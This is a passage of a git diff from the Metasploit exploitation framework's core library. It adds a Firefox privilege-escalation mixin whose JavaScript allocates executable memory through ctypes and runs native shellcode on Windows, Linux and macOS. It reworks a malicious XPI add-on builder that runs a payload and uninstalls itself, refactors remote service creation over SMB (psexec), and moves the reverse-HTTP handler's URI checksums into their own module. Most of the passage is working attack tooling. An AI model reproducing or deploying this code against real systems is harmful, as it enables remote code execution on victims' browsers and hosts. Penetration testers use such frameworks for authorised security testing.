-  m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
-      |
-    else
-      payload_file = generate_payload_exe
-      payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
-      payload_script=%q|
-  var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
-  process.init(tmp);
-  process.run(false,[],0);
-      |
-      if target.name != 'Windows x86 (Native Payload)'
-        payload_script = %q|
-        var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
-        chmod.initWithPath("/bin/chmod");
-        var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
-        process.init(chmod);
-        process.run(true, ["+x", tmp.path], 2);
-        | + payload_script
-      end
-    end
-
+  # @return nil if payload fails to generate
+  def generate_addon_xpi(cli)
     zip = Rex::Zip::Archive.new
     xpi_guid = Rex::Text.rand_guid
-    bootstrap_script = %q|
-function startup(data, reason) {
-  var file = Components.classes["@mozilla.org/file/directory_service;1"].
-          getService(Components.interfaces.nsIProperties).
-          get("ProfD", Components.interfaces.nsIFile);
-  file.append("extensions");
-    |
-    bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
-    bootstrap_script << %Q|payload_name="#{payload_name}";|
-    bootstrap_script << %q|
-  file.append(xpi_guid);
-  file.append(payload_name);
-  var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
-          getService(Components.interfaces.nsIProperties).
-          get("TmpD", Components.interfaces.nsIFile);
-  tmp.append(payload_name);
-  tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
-  file.copyTo(tmp.parent, tmp.leafName);
-    |
-    bootstrap_script << payload_script
+    p = regenerate_payload(cli).encoded
+    bootstrap_script = 'function startup(data, reason) {'
+    bootstrap_script << run_payload
 
     if (datastore['AutoUninstall'])
+      bootstrap_script << %Q|var xpi_guid = "#{xpi_guid}";|
       bootstrap_script <<  %q|
-  try { // Fx < 4.0
-    Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
-  } catch (e) {}
-  try { // Fx 4.0 and later
-    Components.utils.import("resource://gre/modules/AddonManager.jsm");
-    AddonManager.getAddonByID(xpi_guid, function(addon) {
-      addon.uninstall();
-    });
-  } catch (e) {}
+        function uninstallMe() {
+          try { // Fx < 4.0
+            Components.classes["@mozilla.org/extensions/manager;1"]
+              .getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
+          } catch (e) {}
+          try { // Fx 4.0 and later
+            Components.utils.import("resource://gre/modules/AddonManager.jsm");
+            AddonManager.getAddonByID(xpi_guid, function(addon) {
+              addon.uninstall();
+            });
+          } catch (e) {}
+        }
+        uninstallMe();
       |
     end
 
     bootstrap_script << "}"
 
     zip.add_file('bootstrap.js', bootstrap_script)
-    zip.add_file(payload_name, payload_file)
     zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
     zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
 <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
diff --git a/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb
new file mode 100644
index 0000000000..b03172c234
--- /dev/null
+++ b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb
@@ -0,0 +1,139 @@
+# -*- coding: binary -*-
+
+###
+#
+# The FirefoxPrivilegeEscalation mixin provides some methods to
+# run native shellcode from a Firefox JS privileged environment
+#
+###
+
+module Msf
+module Exploit::Remote::FirefoxPrivilegeEscalation
+  
+  # Puts the shellcode into memory, adds X flag, and calls it
+  # The js function throws on error
+  # @return [String] javascript code containing the execShellcode() javascript fn
+  def exec_shellcode_source
+    %Q|
+      var execShellcode = function(shellcode, bytes) {
+        Components.utils.import("resource://gre/modules/ctypes.jsm");
+        var execPosix = function() {
+          var RWX = 7, ANON_PRIVATE = 4098;
+          Components.utils.import("resource://gre/modules/ctypes.jsm");
+          var LIBS = [
+            "/usr/lib/libSystem.B.dylib",
+            "libc.so.6",
+            "libc.so"
+          ];
+
+          var i, lib;
+          for (i in LIBS) {
+            try {
+              lib = ctypes.open(LIBS[i]);
+              break;
+            } catch (e) {}
+          }
+          if (!lib) throw new Error("Could not find lib in ["+LIBS+"]");
+
+          var mmap = lib.declare('mmap',
+            ctypes.default_abi,   /* calling convention */
+            ctypes.voidptr_t,     /* return type */
+            ctypes.voidptr_t,     /* address (NULL here) */
+            ctypes.size_t,        /* num bytes */
+            ctypes.int,           /* PROT_READ OR PROT_WRITE OR PROT_EXEC */
+            ctypes.int,           /* MAP_ANONYMOUS OR MAP_PRIVATE */
+            ctypes.int,           /* fd (0) */
+            ctypes.int            /* offset (0) */
+          );
+          var memcpy = lib.declare('memcpy',
+            ctypes.default_abi,   /* calling convention */
+            ctypes.voidptr_t,     /* return type */
+            ctypes.voidptr_t,     /* dest */
+            ctypes.voidptr_t,     /* src */
+            ctypes.size_t         /* size to copy */
+          );
+          var fork = lib.declare('fork',
+            ctypes.default_abi,   /* calling convention */
+            ctypes.int            /* return type */
+          );
+          var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);
+          var cstr = ctypes.jschar.array()(shellcode);
+          //var bytes = ctypes.char.array()(shellcode).length-1;
+          memcpy(buff, cstr, bytes);
+          /* there is probably a better way to do this */
+          var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/);
+          if (!m) throw new Error("Could not find address of buffer.");
+          if (fork() == 0) {
+            ctypes.FunctionType(ctypes.default_abi, ctypes.void_t).ptr(parseInt(m[1], 16))();
+          }
+        };
+
+        var execWindows = function() {
+          var RWX = 0x40, ANON_PRIVATE = 0x1000;
+          var Kernel32 = ctypes.open("Kernel32.dll");
+          var VirtualAlloc = Kernel32.declare('VirtualAlloc',
+            ctypes.winapi_abi,    /* calling convention */
+            ctypes.voidptr_t,     /* return type */
+            ctypes.voidptr_t,     /* start address (NULL here) */
+            ctypes.size_t,        /* num bytes */
+            ctypes.unsigned_long, /* alloc type */
+            ctypes.unsigned_long  /* protection flags */
+          );
+          var RtlMoveMemory = Kernel32.declare('RtlMoveMemory',
+            ctypes.winapi_abi,    /* calling convention */
+            ctypes.voidptr_t,     /* return type */
+            ctypes.voidptr_t,     /* dest */
+            ctypes.voidptr_t,     /* src */
+            ctypes.size_t         /* size to copy */
+          );
+          var CreateThread = Kernel32.declare('CreateThread',
+            ctypes.winapi_abi,    /* calling convention */
+            ctypes.voidptr_t,     /* return type */
+            ctypes.voidptr_t,     /* lpThreadAttributes */
+            ctypes.voidptr_t,     /* dwStackSize */
+            ctypes.voidptr_t,     /* lpStartAddress copy */
+            ctypes.voidptr_t,     /* lpParameter */
+            ctypes.voidptr_t,     /* dwCreationFlags */
+            ctypes.voidptr_t      /* lpThreadId */
+          );
+          var buff = VirtualAlloc(null, shellcode.length, ANON_PRIVATE, RWX);
+          var cstr = ctypes.jschar.array()(shellcode);
+          RtlMoveMemory(buff, cstr, bytes);
+          var m = buff.toString().match(/"0x([0-9a-fA-F]+)"/);
+          if (!m) throw new Error("Could not find address of buffer.");
+          var fn = ctypes.FunctionType(ctypes.winapi_abi, ctypes.void_t).ptr(parseInt(m[1], 16));
+          CreateThread(null, null, fn, null, null, null);
+        };
+
+        var i, errs = [], fns = [execWindows, execPosix];
+        for (i in fns) {
+          try {
+            fns[i](shellcode);
+            return true;
+          } catch(e) { errs.push(e.message); }
+        }
+
+        throw new Error("All methods failed. Exceptions encountered:\\n["+errs+"]");
+      };
+    |
+  end
+
+  # @return [String] javascript source code that kicks off the execution of the payload
+  # For a javascript payload, this simply returns the payload source
+  # For a native payload, this calls the correct methods to alloc RWX memory and execute shellcode
+  def run_payload
+    return payload.encoded if js_target?
+    %Q|
+      #{exec_shellcode_source}
+      var sc = unescape("#{Rex::Text.to_unescape(payload.encoded)}");
+      execShellcode(sc, #{payload.encoded.bytes.to_a.length});
+    |
+  end
+
+  # @return [Boolean] the user has selected a javascript (non-native) target
+  def js_target?
+    target.arch[0] == ARCH_FIREFOX
+  end
+
+end
+end
\ No newline at end of file
diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb
index 4eddb125d6..095adf45bc 100644
--- a/lib/msf/core/exploit/smb.rb
+++ b/lib/msf/core/exploit/smb.rb
@@ -17,9 +17,6 @@ module Msf
 
 module Exploit::Remote::SMB
 
-  require 'msf/core/exploit/smb/authenticated'
-  require 'msf/core/exploit/smb/psexec'
-
   include Exploit::Remote::Tcp
   include Exploit::Remote::NTLM::Client
 
diff --git a/lib/msf/core/exploit/smb/psexec.rb b/lib/msf/core/exploit/smb/psexec.rb
index 15af3724b1..d3a6ccf13c 100644
--- a/lib/msf/core/exploit/smb/psexec.rb
+++ b/lib/msf/core/exploit/smb/psexec.rb
@@ -1,6 +1,4 @@
 # -*- coding: binary -*-
-require 'msf/core'
-require 'msf/core/exploit/dcerpc'
 
 module Msf
 
@@ -52,8 +50,9 @@ module Exploit::Remote::SMB::Psexec
   # @todo Figure out the actual exceptions this needs to deal with
   #   instead of all the ghetto "rescue ::Exception" madness
   # @param command [String] Should be a valid windows command
+  # @param disconnect [Boolean] Disconnect afterwards
   # @return [Boolean] Whether everything went well
-  def psexec(command)
+  def psexec(command, disconnect=true, service_description=nil)
     simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
     handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
     vprint_status("#{peer} - Binding to #{handle} ...")
@@ -73,7 +72,7 @@ module Exploit::Remote::SMB::Psexec
     end
     servicename = Rex::Text.rand_text_alpha(11)
     displayname = Rex::Text.rand_text_alpha(16)
-    holdhandle = scm_handle
+
     svc_handle = nil
     svc_status = nil
     stubdata =
@@ -94,29 +93,30 @@ module Exploit::Remote::SMB::Psexec
       vprint_status("#{peer} - Creating the service...")
       response = dcerpc.call(0x0c, stubdata)
       if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
-        svc_handle = dcerpc.last_response.stub_data[0,20]
+        svc_handle = dcerpc.last_response.stub_data[4,20]
         svc_status = dcerpc.last_response.stub_data[24,4]
       end
     rescue ::Exception => e
       print_error("#{peer} - Error creating service: #{e}")
       return false
     end
-    vprint_status("#{peer} - Closing service handle...")
-    begin
-      response = dcerpc.call(0x0, svc_handle)
-    rescue ::Exception
-    end
-    vprint_status("#{peer} - Opening service...")
-    begin
-      stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
-      response = dcerpc.call(0x10, stubdata)
-      if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
-        svc_handle = dcerpc.last_response.stub_data[0,20]
+
+    if service_description
+      vprint_status("#{peer} - Changing service description...")
+      stubdata =
+        svc_handle +
+        NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
+        NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
+        NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
+        NDR.long(0x04000200) +
+        NDR.wstring(service_description)
+      begin
+        response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2
+      rescue Rex::Proto::DCERPC::Exceptions::Fault => e
+        print_error("#{peer} - Error changing service description : #{e}")
       end
-    rescue ::Exception => e
-      print_error("#{peer} - Error opening service: #{e}")
-      return false
     end
+
     vprint_status("#{peer} - Starting the service...")
     stubdata = svc_handle + NDR.long(0) + NDR.long(0)
     begin
@@ -142,11 +142,19 @@ module Exploit::Remote::SMB::Psexec
     rescue ::Exception => e
       print_error("#{peer} - Error closing service handle: #{e}")
     end
-    select(nil, nil, nil, 1.0)
-    simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
+
+    if disconnect
+      sleep(1)
+      simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
+    end
+
     return true
   end
 
+  def peer
+    return "#{rhost}:#{rport}"
+  end
+
 end
 
 end
diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb
index 0ef6a74f54..b440e12a91 100644
--- a/lib/msf/core/exploit/smtp_deliver.rb
+++ b/lib/msf/core/exploit/smtp_deliver.rb
@@ -127,6 +127,7 @@ module Exploit::Remote::SMTPDeliver
   # not already established.
   #
   def send_message(data)
+    send_status = nil
 
     already_connected = connected?
     if already_connected
@@ -146,13 +147,15 @@ module Exploit::Remote::SMTPDeliver
     if not resp or not resp[0,3] == '354'
       print_error("Server refused our mail")
     else
-      raw_send_recv("#{data}\r\n.\r\n", nsock)
+      send_status = raw_send_recv("#{data}\r\n.\r\n", nsock)
     end
 
     if not already_connected
       print_verbose("Closing the connection...")
       disconnect(nsock)
     end
+
+    send_status
   end
 
   def disconnect(nsock=self.sock)
diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb
index 1e4bb71292..43ca47f345 100644
--- a/lib/msf/core/exploit/tcp.rb
+++ b/lib/msf/core/exploit/tcp.rb
@@ -98,15 +98,15 @@ module Exploit::Remote::Tcp
     end
 
     nsock = Rex::Socket::Tcp.create(
-      'PeerHost'  =>  opts['RHOST'] || rhost,
-      'PeerPort'  => (opts['RPORT'] || rport).to_i,
-      'LocalHost' =>  opts['CHOST'] || chost || "0.0.0.0",
-      'LocalPort' => (opts['CPORT'] || cport || 0).to_i,
-      'SSL'       =>  dossl,
-      'SSLVersion'=>  opts['SSLVersion'] || ssl_version,
-      'Proxies'   => proxies,
-      'Timeout'   => (opts['ConnectTimeout'] || connect_timeout || 10).to_i,
-      'Context'   =>
+      'PeerHost'   =>  opts['RHOST'] || rhost,
+      'PeerPort'   => (opts['RPORT'] || rport).to_i,
+      'LocalHost'  =>  opts['CHOST'] || chost || "0.0.0.0",
+      'LocalPort'  => (opts['CPORT'] || cport || 0).to_i,
+      'SSL'        =>  dossl,
+      'SSLVersion' =>  opts['SSLVersion'] || ssl_version,
+      'Proxies'    => proxies,
+      'Timeout'    => (opts['ConnectTimeout'] || connect_timeout || 10).to_i,
+      'Context'    =>
         {
           'Msf'        => framework,
           'MsfExploit' => self,
@@ -300,6 +300,7 @@ module Exploit::Remote::TcpServer
     register_advanced_options(
       [
         OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']),
+        OptBool.new('SSLCompression', [ false, 'Enable SSL/TLS-level compression', false ])
       ], Msf::Exploit::Remote::TcpServer)
 
     register_evasion_options(
@@ -379,6 +380,7 @@ module Exploit::Remote::TcpServer
         'LocalPort' => srvport,
         'SSL'       => ssl,
         'SSLCert'   => ssl_cert,
+        'SSLCompression' => ssl_compression,
         'Comm'      => comm,
         'Context'   =>
           {
@@ -464,6 +466,11 @@ module Exploit::Remote::TcpServer
     datastore['SSLCert']
   end
 
+  # @return [Bool] enable SSL/TLS-level compression
+  def ssl_compression
+    datastore['SSLCompression']
+  end
+
   #
   # Re-generates the payload, substituting the current RHOST and RPORT with
   # the supplied client host and port from the socket.
diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb
index c0e3aa872c..302d26a956 100644
--- a/lib/msf/core/framework.rb
+++ b/lib/msf/core/framework.rb
@@ -18,7 +18,7 @@ class Framework
 
   Major    = 4
   Minor    = 9
-  Point    = 0
+  Point    = 2
   Release  = "-dev"
 
   if(Point)
diff --git a/lib/msf/core/handler/bind_tcp.rb b/lib/msf/core/handler/bind_tcp.rb
index 118e7dadd9..8a16d608d6 100644
--- a/lib/msf/core/handler/bind_tcp.rb
+++ b/lib/msf/core/handler/bind_tcp.rb
@@ -166,7 +166,7 @@ module BindTcp
     socks[0].extend(Rex::Socket::Tcp)
     socks[1].extend(Rex::Socket::Tcp)
 
-    m = OpenSSL::Digest::Digest.new('md5')
+    m = OpenSSL::Digest.new('md5')
     m.reset
     key = m.digest(datastore["AESPassword"] || "")
 
diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb
index e5c136fc97..5c26a0c4bd 100644
--- a/lib/msf/core/handler/reverse_http.rb
+++ b/lib/msf/core/handler/reverse_http.rb
@@ -1,6 +1,7 @@
 # -*- coding: binary -*-
 require 'rex/io/stream_abstraction'
 require 'rex/sync/ref'
+require 'msf/core/handler/reverse_http/uri_checksum'
 
 module Msf
 module Handler
@@ -13,6 +14,7 @@ module Handler
 module ReverseHttp
 
   include Msf::Handler
+  include Msf::Handler::ReverseHttp::UriChecksum
 
   #
   # Returns the string representation of the handler type
@@ -29,46 +31,6 @@ module ReverseHttp
     "tunnel"
   end
 
-  #
-  # Define 8-bit checksums for matching URLs
-  # These are based on charset frequency
-  #
-  URI_CHECKSUM_INITW = 92
-  URI_CHECKSUM_INITJ = 88
-  URI_CHECKSUM_CONN  = 98
-
-  #
-  # Precalculated checkums as fallback
-  #
-  URI_CHECKSUM_PRECALC = [
-    "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp",
-    "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt",
-    "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby",
-    "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563",
-    "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg",
-    "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E",
-    "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2",
-    "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ",
-    "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg",
-    "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1",
-    "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5",
-    "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I",
-    "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ",
-    "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC",
-    "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ",
-    "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5",
-    "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi",
-    "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP",
-    "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA",
-    "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL",
-    "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS",
-    "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t",
-    "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG",
-    "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM",
-    "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg",
-    "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"
-  ]
-
   #
   # Use the +refname+ to determine whether this handler uses SSL or not
   #
@@ -88,46 +50,7 @@ module ReverseHttp
     "#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/"
   end
 
-  #
-  # Map "random" URIs to static strings, allowing us to randomize
-  # the URI sent in the first request.
-  #
-  def process_uri_resource(uri_match)
 
-    # This allows 'random' strings to be used as markers for
-    # the INIT and CONN request types, based on a checksum
-    uri_strip, uri_conn = uri_match.split('_', 2)
-    uri_strip.sub!(/^\//, '')
-    uri_check = Rex::Text.checksum8(uri_strip)
-
-    # Match specific checksums and map them to static URIs
-    case uri_check
-    when URI_CHECKSUM_INITW
-      uri_match = "/INITM"
-    when URI_CHECKSUM_INITJ
-      uri_match = "/INITJM"
-    when URI_CHECKSUM_CONN
-      uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
-    end
-
-    uri_match
-  end
-
-  #
-  # Create a URI that matches a given checksum
-  #
-  def generate_uri_checksum(sum)
-    chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
-    32.times do
-      uri = Rex::Text.rand_text_alphanumeric(3)
-      chk.sort_by {rand}.each do |x|
-        return(uri + x) if Rex::Text.checksum8(uri + x) == sum
-      end
-    end
-
-    # Otherwise return one of the pre-calculated strings
-    return URI_CHECKSUM_PRECALC[sum]
-  end
 
   #
   # Initializes the HTTP SSL tunneling handler.
diff --git a/lib/msf/core/handler/reverse_http/uri_checksum.rb b/lib/msf/core/handler/reverse_http/uri_checksum.rb
new file mode 100644
index 0000000000..a55c302c00
--- /dev/null
+++ b/lib/msf/core/handler/reverse_http/uri_checksum.rb
@@ -0,0 +1,90 @@
+module Msf
+  module Handler
+    module ReverseHttp
+      module UriChecksum
+
+        #
+        # Define 8-bit checksums for matching URLs
+        # These are based on charset frequency
+        #
+        URI_CHECKSUM_INITW = 92
+        URI_CHECKSUM_INITJ = 88
+        URI_CHECKSUM_CONN  = 98
+
+        #
+        # Precalculated checkums as fallback
+        #
+        URI_CHECKSUM_PRECALC = [
+            "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp",
+            "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt",
+            "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby",
+            "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563",
+            "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg",
+            "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E",
+            "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2",
+            "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ",
+            "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg",
+            "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1",
+            "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5",
+            "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I",
+            "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ",
+            "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC",
+            "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ",
+            "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5",
+            "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi",
+            "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP",
+            "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA",
+            "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL",
+            "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS",
+            "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t",
+            "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG",
+            "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM",
+            "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg",
+            "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"
+        ]
+
+        # Map "random" URIs to static strings, allowing us to randomize
+        # the URI sent in the first request.
+        # @param uri_match [String] The URI string to convert back to the original static value
+        # @return [String] The static URI value derived from the checksum
+        def process_uri_resource(uri_match)
+
+          # This allows 'random' strings to be used as markers for
+          # the INIT and CONN request types, based on a checksum
+          uri_strip, uri_conn = uri_match.split('_', 2)
+          uri_strip.sub!(/^\//, '')
+          uri_check = Rex::Text.checksum8(uri_strip)
+
+          # Match specific checksums and map them to static URIs
+          case uri_check
+            when URI_CHECKSUM_INITW
+              uri_match = "/INITM"
+            when URI_CHECKSUM_INITJ
+              uri_match = "/INITJM"
+            when URI_CHECKSUM_CONN
+              uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
+          end
+
+          uri_match
+        end
+
+        # Create a URI that matches a given checksum
+        # @param sum [Fixnum] The checksum value you are trying to create a URI for
+        # @return [String] The URI string that checksums to the given value
+        def generate_uri_checksum(sum)
+          chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
+          32.times do
+            uri = Rex::Text.rand_text_alphanumeric(3)
+            chk.sort_by {rand}.each do |x|
+              return(uri + x) if Rex::Text.checksum8(uri + x) == sum
+            end
+          end
+
+          # Otherwise return one of the pre-calculated strings
+          return URI_CHECKSUM_PRECALC[sum]
+        end
+
+      end
+    end
+  end
+end
diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb
index 62d220ade3..f40e9531af 100644
--- a/lib/msf/core/handler/reverse_tcp.rb
+++ b/lib/msf/core/handler/reverse_tcp.rb
@@ -172,12 +172,12 @@ module ReverseTcp
     socks[0].extend(Rex::Socket::Tcp)
     socks[1].extend(Rex::Socket::Tcp)
 
-    m = OpenSSL::Digest::Digest.new('md5')
+    m = OpenSSL::Digest.new('md5')
     m.reset
     key = m.digest(datastore["AESPassword"] || "")
 
     Rex::ThreadFactory.spawn('AESEncryption', false) {
-      c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
+      c1 = OpenSSL::Cipher.new('aes-128-cfb8')
       c1.encrypt
       c1.key=key
       sock.put([0].pack('N'))
@@ -190,7 +190,7 @@ module ReverseTcp
       sock.close()
     }
     Rex::ThreadFactory.spawn('AESEncryption', false) {
-      c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
+      c2 = OpenSSL::Cipher.new('aes-128-cfb8')
       c2.decrypt
       c2.key=key
       iv=""
diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb
index 36acc612ad..170f8099dd 100644
--- a/lib/msf/core/module.rb
+++ b/lib/msf/core/module.rb
@@ -449,7 +449,7 @@ class Module
       ch = self.compat['Nop']
     elsif (mod.type == MODULE_PAYLOAD)
       ch = self.compat['Payload']
-      if self.respond_to?("target") and self.target['Payload'] and self.target['Payload']['Compat']
+      if self.respond_to?("target") and self.target and self.target['Payload'] and self.target['Payload']['Compat']
         ch = ch.merge(self.target['Payload']['Compat'])
       end
     else
diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb
index 563db9ec7d..38c5021695 100644
--- a/lib/msf/core/module/author.rb
+++ b/lib/msf/core/module/author.rb
@@ -13,7 +13,7 @@ class Msf::Module::Author
   Known =
     {
       'amaloteaux'       => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
-      'anonymous'        => 'anonymous-contributor' + 0x40.chr + 'metasploit.com',
+      'anonymous'        => 'Unknown',
